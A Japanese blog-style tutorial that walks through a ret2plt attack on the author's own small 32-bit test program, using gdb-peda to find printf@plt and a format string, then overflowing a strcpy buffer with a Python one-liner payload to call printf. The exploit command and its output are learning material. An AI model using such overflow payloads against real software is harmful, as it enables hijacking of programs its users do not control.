ret2pltで関数を実行してみる

簡単なバッファオーバーフローでEIPを奪う - メモ代わりのプログラムでret2pltをしてみる。
環境は前回と同じ。

ret2pltとは

ret2pltの前にそもそもpltとは何かというと共有ライブラリのアドレスを書くところだ。
詳しくは下記リンクを参照。
ELFの動的リンク(1) - 七誌の開発日記
ret2pltとはEIPに任意のアドレスを書き込めるようになった時、pltにある関数のアドレスを書いたら関数を実行できることを活かしたテクニックのことだ。
実際にやってみよう。

どうすればうまくいくか調べてみる

とりあえずpltに何のアドレスがあるかgdb-pedaで見てみよう。

gdb-peda$ plt
Breakpoint 1 at 0x8048380 (__gmon_start__@plt)
Breakpoint 2 at 0x80483a0 (__libc_start_main@plt)
Breakpoint 3 at 0x8048390 (exit@plt)
Breakpoint 4 at 0x8048350 (printf@plt)
Breakpoint 5 at 0x8048370 (puts@plt)
Breakpoint 6 at 0x8048360 (strcpy@plt)

printfのアドレスがある。
攻撃した時に目で見てわかりやすいのでprintfを使おう。
次にprintfで使う引数に適切なものはどこにあるか見てみよう。

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x080484ad <+0>:	push   ebp
   0x080484ae <+1>:	mov    ebp,esp
   0x080484b0 <+3>:	and    esp,0xfffffff0
   0x080484b3 <+6>:	sub    esp,0x20
   0x080484b6 <+9>:	cmp    DWORD PTR [ebp+0x8],0x2
   0x080484ba <+13>:	je     0x80484dd <main+48>
   0x080484bc <+15>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484bf <+18>:	mov    eax,DWORD PTR [eax]
   0x080484c1 <+20>:	mov    DWORD PTR [esp+0x4],eax
   0x080484c5 <+24>:	mov    DWORD PTR [esp],0x80485a0
   0x080484cc <+31>:	call   0x8048350 <printf@plt>
   0x080484d1 <+36>:	mov    DWORD PTR [esp],0x1
   0x080484d8 <+43>:	call   0x8048390 <exit@plt>
   0x080484dd <+48>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484e0 <+51>:	add    eax,0x4
   0x080484e3 <+54>:	mov    eax,DWORD PTR [eax]
   0x080484e5 <+56>:	mov    DWORD PTR [esp+0x4],eax
   0x080484e9 <+60>:	lea    eax,[esp+0x16]
   0x080484ed <+64>:	mov    DWORD PTR [esp],eax
   0x080484f0 <+67>:	call   0x8048360 <strcpy@plt>
   0x080484f5 <+72>:	lea    eax,[esp+0x16]
   0x080484f9 <+76>:	mov    DWORD PTR [esp],eax
   0x080484fc <+79>:	call   0x8048370 <puts@plt>
   0x08048501 <+84>:	mov    eax,0x0
   0x08048506 <+89>:	leave  
   0x08048507 <+90>:	ret    
End of assembler dump.

printfが呼ばれているところに注目すると文字列の引数っぽいものがある。

   0x080484c5 <+24>:	mov    DWORD PTR [esp],0x80485a0
   0x080484cc <+31>:	call   0x8048350 <printf@plt>

中身を確認してみよう。

gdb-peda$ x/s 0x80485a0
0x80485a0:	"Usage: %s name\n"

うわあ・・・、これは文字列ですね。
しかもコレは引数なしで実行した時しか出てこない文字列なのでテストにぴったり、使ってみよう。
前回も含めてここまでのおさらいをすると

  • 22文字以降の文字列がEIPにセットされる
  • printf@pltのアドレスは0x8048350
  • printfの引数として渡したいアドレスは0x80485a0

では実際に攻撃してみよう。

実行してみる

実際のコードはこちら。

print "A"*22 + "\x50\x83\x04\x08" + "BBBB" + "\xa0\x85\x04\x08"

まず最初に22回"A"を出力する。
次にprintf@pltのアドレスをEIPに入れるために出力する(リトルエンディアンなので逆順で書いた)
次の"BBBB"だがコレには訳がある。
関数を呼び出すときはその関数終了後のリターンアドレスをスタックに積んで置かなければならない。
関数実行時はそれを想定して処理をするので仮のリターンアドレスとして"BBBB"を積み実行時に計算が狂うことがないようにしているのだ。
そして最後に引数として文字列のアドレスを出力している。
実行してみよう。

$ ./a.out $(python -c 'print "A"*22 + "\x50\x83\x04\x08" + "BBBB" + "\xa0\x85\x04\x08"')
AAAAAAAAAAAAAAAAAAAAAAP�BBBB��
Usage: �������������������L���`���p��������������������������� ���Z���n�����������&���Z�����������������=���R���i���z���������������������������
                                                                  ������w��������������%���:���S���g������������������� name
Segmentation fault

みたいになったと思う。
nameをprintfで出力したあと"Usage: ~~~~~"が出力されている、うまくいった。
"Usage: "以降に出力されているのは

gdb-peda$ x/s 0x80485a0
0x80485a0:	"Usage: %s name\n"

の"%s"で引数を置いてなかったためnameにあたるまで出力したからだと思う。
というわけでret2plt終わり!閉廷!

おわりに

今回はret2pltをやってみた。
今度はもっと高度なことをやってみようと思う。